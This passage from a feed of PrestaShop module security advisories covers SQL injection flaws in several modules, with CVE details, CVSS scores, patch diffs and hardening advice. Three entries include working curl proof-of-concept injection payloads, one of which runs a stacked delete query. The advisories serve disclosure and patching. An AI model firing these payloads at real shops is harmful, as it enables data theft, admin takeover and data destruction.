  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'module_id=1%22;select(0x73656C65637420736C656570283432293B)INTO@a;prepare`b`from@a;execute`b`;--'</span> <span class="s1">'https://preprod.XX/modules/posstaticblocks/ajax.php'</span>
</code></pre></div></div>

<h2 id="patch-from-10">Patch from 1.0</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/posstaticblocks.php
</span><span class="gi">+++ b/posstaticblocks.php
</span><span class="p">@@ -311 +311 @@</span> class posstaticblocks extends Module {
<span class="gd">-            WHERE m.`id_module` = ' . $id_module);
</span><span class="gi">+            WHERE m.`id_module` = ' . (int) $id_module);
</span><span class="p">@@ -316 +316 @@</span> class posstaticblocks extends Module {
<span class="gd">-               $sql = 'SELECT * FROM '._DB_PREFIX_.'hook_module AS `ps` LEFT JOIN '._DB_PREFIX_.'hook AS `ph` ON `ps`.`id_hook` = `ph`.`id_hook`  WHERE `ps`.`id_module`='.$id_module.' AND `ps`.`id_shop` = '.$id_shop ;
</span><span class="gi">+               $sql = 'SELECT * FROM '._DB_PREFIX_.'hook_module AS `ps` LEFT JOIN '._DB_PREFIX_.'hook AS `ph` ON `ps`.`id_hook` = `ph`.`id_hook`  WHERE `ps`.`id_module`='. (int) $id_module.' AND `ps`.`id_shop` = '. (int) $id_shop ;
</span><span class="p">@@ -333 +333 @@</span> class posstaticblocks extends Module {
<span class="gd">-               $sql = 'SELECT psb.`hook_module` FROM '._DB_PREFIX_.'pos_staticblock AS psb LEFT JOIN '._DB_PREFIX_.'pos_staticblock_shop AS pss ON psb.`id_posstaticblock`= pss.`id_posstaticblock` WHERE  psb.`name_module` ="'.$name_module.'" AND pss.`id_shop` = "'.$id_shop.'"';
</span><span class="gi">+               $sql = 'SELECT psb.`hook_module` FROM '._DB_PREFIX_.'pos_staticblock AS psb LEFT JOIN '._DB_PREFIX_.'pos_staticblock_shop AS pss ON psb.`id_posstaticblock`= pss.`id_posstaticblock` WHERE  psb.`name_module` ="'.pSQL($name_module).'" AND pss.`id_shop` = "'. (int) $id_shop.'"';
</span></code></pre></div></div>

<p>Be warned that there is other sensitives SQL calls inside this module accessible to administrators. Since there is thousands of injection SQL accessible to administrators on the PrestaShop’s ecosystem, these vulnerabilities are ignored to avoid mind collapse.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to apply patch given or delete the module (NB : disabled it is useless)</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-12</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>Contact Author to confirm versions scope</td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>A member of Friends of Presta (FX) provide another version which need a new patch</td>
    </tr>
    <tr>
      <td>2023-03-25</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-27</td>
      <td>Author never answer and exploit is used to massively stole credit cards</td>
    </tr>
    <tr>
      <td>2023-04-27</td>
      <td>Publication of this security advisory without delay due to emergency</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://themeforest.net/user/posthemes/portfolio">Posthemes product page on Themes Forest</a></li>
  <li><a href="https://posthemes.com/">Posthemes website</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-30189">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Static Blocks” (posstaticblocks) from PosThemes for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-27843] Improper neutralization of a SQL parameter in askforaquote module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/25/askforaquote.html" rel="alternate" type="text/html" title="[CVE-2023-27843] Improper neutralization of a SQL parameter in askforaquote module for PrestaShop" /><published>2023-04-25T00:00:00+00:00</published><updated>2023-04-25T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/25/askforaquote</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/25/askforaquote.html"><![CDATA[<p>In the module “Ask for a Quote - Convert to order, messaging system” (askforaquote) for PrestaShop, an anonymous user can perform SQL injection before 5.4.3. Release 5.4.3 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27843">CVE-2023-27843</a></li>
  <li><strong>Published at</strong>: 2023-04-25</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: askforaquote</li>
  <li><strong>Impacted release</strong>: &lt; 5.4.3</li>
  <li><strong>Product author</strong>: Presta FABRIQUE</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 5.4.2, a sensitive SQL call in class <code class="language-plaintext highlighter-rouge">QuotesProduct::deleteProduct()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection through the POST or GET submitted “item_id” variable.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'action=delete_from_cart&amp;item_id=2_9%3Bdelete+from+0test+where+1%23'</span> <span class="s1">'https://preprod.XXXXX/module/askforaquote/QuotesCart'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- v5.4.1/modules/askforaquote/classes/QuotesProduct.php
</span><span class="gi">+++ v5.4.2/modules/askforaquote/classes/QuotesProduct.php
</span><span class="p">@@ -160,9 +160,9 @@</span> class QuotesProductCart extends ObjectMo
         $row = Db::getInstance()-&gt;getRow(
             'SELECT qp.`quantity`, qp.`id_product_attribute`
             FROM `' . _DB_PREFIX_ . 'quotes_product` qp
<span class="gd">-            WHERE qp.`id_product` = ' . pSQL($id_product) . '
</span><span class="gi">+            WHERE qp.`id_product` = ' . (int) $id_product . '
</span>             AND qp.`id_quote` LIKE "' . pSQL($id_quote) . '"
<span class="gd">-            AND qp.`id_product_attribute` = ' . pSQL($id_product_attribute)
</span><span class="gi">+            AND qp.`id_product_attribute` = ' . (int) $id_product_attribute
</span>         );
<span class="p">@@ -211,16 +211,16 @@</span> class QuotesProductCart extends ObjectMo
                 }
             }
 
<span class="gd">-            if ((int)$current_qty &lt; 0) {
</span><span class="gi">+            if ((int) $current_qty &lt; 0) {
</span>                 return $this-&gt;deleteProduct($id_product, $row['id_product_attribute']);
             }
 
<span class="gd">-            //update current product in cart
</span><span class="gi">+            // update current product in cart
</span>             $update = Db::getInstance()-&gt;execute(
                 'UPDATE `' . _DB_PREFIX_ . 'quotes_product`
<span class="gd">-                SET `quantity` = ' . pSQL($current_qty) . ', `date_upd` = "' . pSQL(date('Y-m-d H:i:s', time())) . '"
-                WHERE `id_product` = ' . pSQL($id_product) . ' AND `id_quote` LIKE "' . pSQL($id_quote) .
-                '" AND `id_product_attribute` = ' . pSQL($id_product_attribute) . '
</span><span class="gi">+                SET `quantity` = ' . (int) $current_qty . ', `date_upd` = "' . pSQL(date('Y-m-d H:i:s', time())) . '"
+                WHERE `id_product` = ' . (int) $id_product . ' AND `id_quote` LIKE "' . pSQL($id_quote) .
+                '" AND `id_product_attribute` = ' . (int) $id_product_attribute . '
</span>                 LIMIT 1'
             );
<span class="p">@@ -543,15 +542,15 @@</span> class QuotesProductCart extends ObjectMo
         /* Product deletion */
         $result = Db::getInstance()-&gt;execute(
             'DELETE FROM `' . _DB_PREFIX_ . 'quotes_product`
<span class="gd">-            WHERE `id_product` = ' . pSQL($id_product) . '
</span><span class="gi">+            WHERE `id_product` = ' . (int) $id_product . '
</span>             AND `id_quote` LIKE "' . pSQL($this-&gt;id_quote) . '"
<span class="gd">-            AND `id_product_attribute` = ' . pSQL($id_product_attribute)
</span><span class="gi">+            AND `id_product_attribute` = ' . (int) $id_product_attribute
</span>         );
 
         if ($result) {
             return true;
         }
        //$this-&gt;update(true);
 
         return false;
     }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 5.4.2.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-09</td>
      <td>Issue discovered during a code review by 202 ecommerce and <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-02-28</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-01</td>
      <td>The author confirm the issue</td>
    </tr>
    <tr>
      <td>2023-03-17</td>
      <td>Propose 30 days before disclosure</td>
    </tr>
    <tr>
      <td>2023-03-19</td>
      <td>The author confirm a fix release in progress</td>
    </tr>
    <tr>
      <td>2023-03-22</td>
      <td>The author published the release 5.4.2</td>
    </tr>
    <tr>
      <td>2023-04-25</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/quotes/3725-ask-for-a-quote-convert-to-order-messaging-system.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27843">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Ask for a Quote - Convert to order, messaging system” (askforaquote) for PrestaShop, an anonymous user can perform SQL injection before 5.4.3. Release 5.4.3 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-26865] Improper neutralization of a SQL parameter in bdroppy module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/20/bdroppy.html" rel="alternate" type="text/html" title="[CVE-2023-26865] Improper neutralization of a SQL parameter in bdroppy module for PrestaShop" /><published>2023-04-20T00:00:00+00:00</published><updated>2023-04-20T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/20/bdroppy</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/20/bdroppy.html"><![CDATA[<p>In the module “BDroppy- The best brands for your dropshipping business” (bdroppy) for PrestaShop, an attacker can perform a blind SQL injection before 2.2.27. Release 2.2.28 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26865">CVE-2023-26865</a></li>
  <li><strong>Published at</strong>: 2023-04-20</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: bdroppy</li>
  <li><strong>Impacted release</strong>: &lt; 2.2.28 (2.2.28 fix the security issue)</li>
  <li><strong>Product author</strong>: BDroppy</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Befor release 2.2.28, a sensitive SQL calls in class <code class="language-plaintext highlighter-rouge">BdroppyCronModuleFrontController::importProducts()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection through the POST or GET submitted “reference” variable.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://domain.tld/module/bdroppy/cron?reference=a%27%29%3BSELECT%20SLEEP%2825%29%3B--'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/bdroppy/controllers/front/cron.php
</span><span class="gi">+++ b/bdroppy/controllers/front/cron.php
</span><span class="p">@@ -181,7 +181,7 @@</span> class BdroppyCronModuleFrontController e
                     $query = new DbQuery();
                     $query-&gt;select('*')
                         -&gt;from('bdroppy_remoteproduct')
<span class="gd">-                        -&gt;where("reference = '" . Tools::getValue('reference') . "'");
</span><span class="gi">+                        -&gt;where("reference = '" . pSQL(Tools::getValue('reference')) . "'");
</span>                     $items = $db-&gt;executeS($query);
                 }
                 foreach ($items as $item) {
</code></pre></div></div>

<p>See <a href="https://github.com/idt-spa/bdroppy-prestashop-plugin/commit/ec5903b88a898163727a396b9cb5bc3de86ef450.patch">also the patch on github</a></p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 2.13.28.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Vulnerability discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID from Mitre.org</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Re-try to contact the author</td>
    </tr>
    <tr>
      <td>2023-03-16</td>
      <td>Recieved the CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-20</td>
      <td>Re-try to contact the author via social network and propose 30, 60 or 90 days of delay before discolse the vulnerability</td>
    </tr>
    <tr>
      <td>2023-03-21</td>
      <td>The author confirm the vulnerability and push a fix</td>
    </tr>
    <tr>
      <td>2023-04-20</td>
      <td>Publish this advisory and the CVE</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://bdroppy.com/fr/dropshipping-app-integrations-bdroppy/">Product page</a></li>
  <li><a href="https://github.com/idt-spa/bdroppy-prestashop-plugin">Github repository</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26865">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “BDroppy- The best brands for your dropshipping business” (bdroppy) for PrestaShop, an attacker can perform a blind SQL injection before 2.2.27. Release 2.2.28 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-28839] Improper neutralization of a SQL parameter in Shoppingfeed module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/18/shoppingfeed.html" rel="alternate" type="text/html" title="[CVE-2023-28839] Improper neutralization of a SQL parameter in Shoppingfeed module for PrestaShop" /><published>2023-04-18T00:00:00+00:00</published><updated>2023-04-18T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/18/shoppingfeed</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/18/shoppingfeed.html"><![CDATA[<p>SQL injection vulnerability found in the module “Shoppingfeed PrestaShop Plugin (Feed&amp;Order)” (aka shoppingfeed) for PrestaShop from 1.4.0 to 1.8.2. (1.8.3 fix the issue) allow a remote attacker to gain privileges.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28839">CVE-2023-28839</a></li>
  <li><strong>Published at</strong>: 2023-04-18</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/shoppingflux/module-prestashop/security/advisories/GHSA-vfmq-w777-qvcf">Github repository of Shoppingfeed PrestaShop Plugin</a></li>
  <li><strong>Platform</strong>: Shoppingfeed</li>
  <li><strong>Product</strong>: shoppingfeed</li>
  <li><strong>Impacted release</strong>: &gt;1.4.0 and &lt;=1.8.2 (1.8.3 fix the issue).</li>
  <li><strong>Product author</strong>: 202 ecommerce</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>From 1.4.0 to 1.8.2 (1.8.3 fix the issue), a sensitive SQL call in <code class="language-plaintext highlighter-rouge">ShoppingfeedToken::findByToken()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection through the POST or GET submitted variable <code class="language-plaintext highlighter-rouge">token</code>.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/shoppingfeed/classes/ShoppingfeedToken.php
</span><span class="gi">+++ b/modules/shoppingfeed/classes/ShoppingfeedToken.php
</span><span class="p">@@ -138,7 +138,7 @@</span> public function findByToken($token)
         $query = (new DbQuery())
             -&gt;select('*')
             -&gt;from(self::$definition['table'])
<span class="gd">-            -&gt;where("content = '$token'")
</span><span class="gi">+            -&gt;where('content = "' . pSQL($token) . '"')
</span>         ;
 
         return Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;getRow($query);
</code></pre></div></div>

<p><a href="https://github.com/shoppingflux/module-prestashop/pull/209/files">See also</a></p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 1.8.3.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-14</td>
      <td>Wargan Solutions discover the vulnerability during an audit ordered by Shoppingfeed and 202 ecommerce</td>
    </tr>
    <tr>
      <td>2022-10-14</td>
      <td>Publish the patch release 1.8.3</td>
    </tr>
    <tr>
      <td>2022-10-18</td>
      <td>Shoppingfeed send a first newsletter to invite all merchands to upgrade up to 1.9.0</td>
    </tr>
    <tr>
      <td>2022-12-12</td>
      <td>Shoppingfeed send a second reminder to invite all merchands to upgrade</td>
    </tr>
    <tr>
      <td>2022-03-28</td>
      <td>Shoppingfeed send a third reminder to invite all merchands to upgrade up to 1.9.3</td>
    </tr>
    <tr>
      <td>2023-04-18</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/shoppingflux/module-prestashop/security/advisories/GHSA-vfmq-w777-qvcf">Github repository</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-28839">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[SQL injection vulnerability found in the module “Shoppingfeed PrestaShop Plugin (Feed&amp;Order)” (aka shoppingfeed) for PrestaShop from 1.4.0 to 1.8.2. (1.8.3 fix the issue) allow a remote attacker to gain privileges.]]></summary></entry><entry><title type="html">[CVE-2023-27844] Improper neutralization of SQL parameter in leurlrewrite for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/13/leurlrewrite.html" rel="alternate" type="text/html" title="[CVE-2023-27844] Improper neutralization of SQL parameter in leurlrewrite for PrestaShop" /><published>2023-04-13T00:00:00+00:00</published><updated>2023-04-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/13/leurlrewrite</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/13/leurlrewrite.html"><![CDATA[<p>In the module “LitExtension Url Plugin” (leurlrewrite) for PrestaShop, an attacker can perform SQL injection up to 1.0. Even though the module has been patched in version 1.0, the version number was not incremented at the time. We consider the issue resolved in versions after 1.0.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27844">CVE-2023-27844</a></li>
  <li><strong>Published at</strong>: 2023-04-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: leurlrewrite</li>
  <li><strong>Impacted release</strong>: &lt; 1.0</li>
  <li><strong>Product author</strong>: LitExtension</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>A sensitive SQL call the overrided class <code class="language-plaintext highlighter-rouge">Dispatcher::getController()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection through by calling a not found page.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<p><em>IMPORTANT</em>: apply the patch and reset the module or update the override/classes/Dispatcher.php of the PrestaShop manually.</p>

